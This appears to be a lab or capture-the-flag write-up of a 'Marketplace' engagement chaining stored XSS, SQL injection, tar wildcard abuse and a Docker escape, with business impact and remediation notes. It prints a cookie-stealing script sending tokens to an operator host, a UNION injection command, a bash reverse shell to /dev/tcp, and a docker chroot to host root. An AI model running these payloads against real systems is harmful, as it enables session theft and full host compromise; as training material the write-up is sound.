Stored XSS JWT theft, SQLi, tar checkpoint, and Docker escape
Intermediate application engagement: stored XSS stole an admin JWT; SQLi on /admin leaked messages; sudo backup as michael abused tar checkpoints; Docker mount escaped to host root.
- Case files
- Stored XSS JWT theft, SQLi, tar checkpoint, and Docker escape
A marketplace listing accepted stored XSS that exfiltrated michael’s admin JWT. Authenticated SQLi read messages with SSH material. Running backup.sh as michael via sudo enabled tar checkpoint RCE; Docker then mounted the host filesystem.
Listing XSS exfiltrated cookies. The stolen JWT authenticated as michael with admin privileges.
With the admin JWT, UNION SQLi on user= dumped marketplace.messages including SSH-related content.
sudo backup as michael executed tar checkpoint actions. Docker -v /:/mnt chroot reached host root.
Engagement summary
A marketplace listing accepted stored XSS that exfiltrated michael’s admin JWT. Authenticated SQLi read messages with SSH material. Running backup.sh as michael via sudo enabled tar checkpoint RCE; Docker then mounted the host filesystem.
The Marketplace application accepted HTML in listings. A stored XSS payload posted document.cookie to our listener, recovering michael’s JWT with admin:true. Using that token against /admin?user= we UNION-selected marketplace.messages and recovered user-level access material. Locally, sudo -u michael /opt/backups/backup.sh archived * with tar; planting --checkpoint and --checkpoint-action files executed our shell as michael. michael could run Docker; docker run -v /:/mnt alpine chroot /mnt yielded host root.
Business impact
Stored XSS against privileged reviewers is session theft. JWT admin claims without binding plus SQLi expose the data layer. sudo over wildcard tar and Docker socket access are host compromise. Sanitize listings, use HttpOnly cookies / short-lived tokens, parameterize SQL, and keep Docker away from low-privilege sudoers.
Stored XSS to admin JWT
Listing XSS exfiltrated cookies. The stolen JWT authenticated as michael with admin privileges.
PAYLOAD
<script>document.location='http://OPERATOR_IP:8000/grabber.php?c='+document.cookie</script>OPERATOR · XSS CATCH
savvy@lab:~$ python3 -m http.server 8000
GET /grabber.php?c=token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
# JWT payload includes "username":"michael","admin":true
Authenticated SQLi on /admin
With the admin JWT, UNION SQLi on user= dumped marketplace.messages including SSH-related content.
OPERATOR · SQLI
savvy@lab:~$ curl -s --cookie "token=JWT" 'http://10.10.50.10/admin?user='$(python3 -c "import urllib.parse;print(urllib.parse.quote(\"0 UNION SELECT 1,GROUP_CONCAT(message_content),3,4 FROM marketplace.messages\"))")
# messages contain credentials / SSH material for user access
tar checkpoint and Docker escape
sudo backup as michael executed tar checkpoint actions. Docker -v /:/mnt chroot reached host root.
OPERATOR · TAR
savvy@lab:~$ sudo -l
(michael) NOPASSWD: /opt/backups/backup.sh
savvy@lab:/opt/backups$ printf '#!/bin/sh\nbash -i >& /dev/tcp/OPERATOR/9001 0>&1\n' > shell.sh && chmod +x shell.sh
savvy@lab:/opt/backups$ touch -- "--checkpoint=1"
savvy@lab:/opt/backups$ touch -- "--checkpoint-action=exec=sh shell.sh"
savvy@lab:~$ nc -lvnp 9001
savvy@lab:~$ sudo -u michael /opt/backups/backup.sh
savvy@lab:/home/michael$
OPERATOR · DOCKER
savvy@lab:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
root@lab:/# id
uid=0(root) gid=0(root) groups=0(root)
Remediation
Encode user HTML; rotate JWTs after XSS; fix SQLi with parameterized queries. Replace wildcard tar backups with explicit file lists; remove Docker from sudoers and use rootless or tightly scoped socket access.